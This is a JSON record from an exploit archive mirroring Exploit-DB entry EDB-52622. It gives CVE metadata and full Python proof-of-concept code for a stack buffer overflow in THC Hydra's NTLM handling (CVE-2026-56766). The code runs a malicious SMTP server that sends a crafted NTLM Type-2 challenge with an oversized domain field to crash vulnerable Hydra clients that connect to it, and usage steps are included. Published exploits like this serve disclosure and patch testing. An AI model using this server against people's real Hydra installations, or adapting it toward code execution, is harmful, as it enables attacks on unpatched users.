{"exploit":{"id":"EDB-52622","name":"THC Hydra <= 9.7 - Stack Buffer Overflow","description":"THC Hydra <= 9.7 - Stack Buffer Overflow","cves":["CVE-2026-56766"],"author":"banyamer","published":"2026-07-07","platform":"linux","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52622","path":"exploits/linux/remote/52622.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52622.py","vulnerabilities":[{"id":"CVE-2026-56766","state":"PUBLISHED","title":"Hydra - Stack Buffer Overflow in NTLM Authentication Handler","titleSource":"CVE Program","description":"Hydra through 9.7, fixed in commit 9cc84c2, contains a stack buffer overflow in NTLM authentication across SMTP, POP3, IMAP, NNTP, HTTP, HTTP-Proxy, and HTTP-Proxy-Urlenum modules when processing malicious NTLM Type-2 challenges. A malicious server can send a crafted NTLM Type-2 challenge with an excessively long domain string, causing base64-encoded response data to overflow a 500-byte stack buffer by 18 to 330 bytes, enabling remote code execution on systems without stack protection.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-56766","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-56766"},"updatedAt":"2026-07-14T21:34:18.775Z","retrievedAt":"2026-11-25T16:13:47.465Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52622.png?v=2","url":"https://exploitbin.com/exploits/EDB-52622","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52622/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52622/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:    Hydra - Stack Buffer Overflow\n# CVE:                   CVE-2026-56766\n# Date:                  2026-06-26\n# Exploit Author:        Mohammed Idrees Banyamer\n# Author Country:        Jordan\n# Instagram:             @banyamer_security\n# Author GitHub:         https://github.com/mbanyamer\n# Author Blog  :         https://banyamersecurity.com/blog/\n# Vendor Homepage:       https://github.com/vanhauser-thc/thc-hydra\n# Software Link:         https://github.com/vanhauser-thc/thc-hydra\n# Affected:              Hydra <= 9.7\n# Tested on:             Hydra 9.5 (Ubuntu 22.04)\n# Category:              Remote\n# Platform:              Linux\n# Exploit Type:          Stack Buffer Overflow\n# CVSS:                  7.5\n# Description:           Malicious NTLM Type-2 challenge with excessively long domain\n#                        causes stack buffer overflow in Hydra's NTLM authentication handler\n#                        (SMTP, POP3, IMAP, etc. modules).\n# Fixed in:              https://github.com/vanhauser-thc/thc-hydra/commit/9cc84c20e75f5fef6bb1790bb9ada2afad2204e2\n# Usage:\n#   python3 exploit.py\n#\n# Examples:\n#   python3 exploit.py\n#\n# Notes:\n#   • Run this PoC server first, then launch vulnerable Hydra against it.\n#   • Triggers SIGSEGV in vulnerable versions.\n#\n# How to Use\n#\n# Step 1: Run the exploit server: python3 exploit.py\n# Step 2: Run Hydra: hydra -l test -p test 127.0.0.1 smtp\n\ndef banner():\n    print(r\"\"\"\n╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗\n║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║\n║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝\n║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗\n║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║\n╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝\n        ╔═╗ Banyamer Security ╔═╗\n\"\"\")\n\nimport socket\nimport base64\nimport struct\nimport threading\nimport time\nimport sys\n\nNTLMSSP_SIGNATURE = b\"NTLMSSP\\x00\"\nNTLM_TYPE_2 = 2\n\ndef create_ntlm_type2_challenge():\n    challenge = bytearray(NTLMSSP_SIGNATURE)\n    challenge += struct.pack(\"<I\", NTLM_TYPE_2)\n\n    domain_name = b\"A\" * 400\n    domain_len = len(domain_name)\n\n    flags = 0x00008201\n    server_challenge = b\"\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88\"\n    reserved = b\"\\x00\" * 8\n    target_name_offset = 48\n\n    challenge += struct.pack(\"<HHI\", domain_len, domain_len, target_name_offset)\n    challenge += struct.pack(\"<I\", flags)\n    challenge += server_challenge\n    challenge += reserved\n    challenge += b\"\\x00\" * 8\n    challenge += domain_name\n\n    return challenge\n\nclass SMTPServer:\n    def __init__(self, host='0.0.0.0', port=2525):\n        self.host = host\n        self.port = port\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n    def handle_client(self, client, addr):\n        client.send(b\"220 poc-smtp-server ESMTP Ready\\r\\n\")\n\n        while True:\n            try:\n                data = client.recv(4096).decode('utf-8', errors='ignore').strip()\n                if not data:\n                    break\n\n                if data.upper().startswith(\"EHLO\") or data.upper().startswith(\"HELO\"):\n                    client.send(b\"250-OK\\r\\n250 AUTH NTLM\\r\\n\")\n\n                elif data.upper().startswith(\"AUTH NTLM\"):\n                    client.send(b\"334 NTLM\\r\\n\")\n\n                elif len(data) > 10:\n                    type2 = create_ntlm_type2_challenge()\n                    b64_type2 = base64.b64encode(type2).decode('ascii')\n                    client.send(f\"334 {b64_type2}\\r\\n\".encode())\n\n                    time.sleep(1)\n                    client.recv(8192)\n                    client.send(b\"235 Authentication successful (fake)\\r\\n\")\n                    break\n\n                elif data.upper().startswith(\"QUIT\"):\n                    client.send(b\"221 Bye\\r\\n\")\n                    break\n\n            except:\n                break\n\n        client.close()\n\n    def start(self):\n        self.sock.bind((self.host, self.port))\n        self.sock.listen(5)\n        print(f\"[+] Malicious SMTP server listening on {self.host}:{self.port}\")\n        print(\"[+] Run: hydra -l test -p test 127.0.0.1 smtp\")\n\n        while True:\n            client, addr = self.sock.accept()\n            threading.Thread(target=self.handle_client, args=(client, addr), daemon=True).start()\n\nif __name__ == \"__main__\":\n    banner()\n    try:\n        server = SMTPServer()\n        server.start()\n    except KeyboardInterrupt:\n        print(\"\\n[+] Server stopped\")\n    except Exception as e:\n        print(f\"[-] Error: {e}\")","sha256":"a4a3205fdac7266e4839bb87dbe0b46671f14e7fa5260f24fdce586c663c5bab","bytes":5423,"fetchedAt":"2026-11-26T08:56:02.478Z","encoding":"utf-8 (display only; download retains original bytes)"}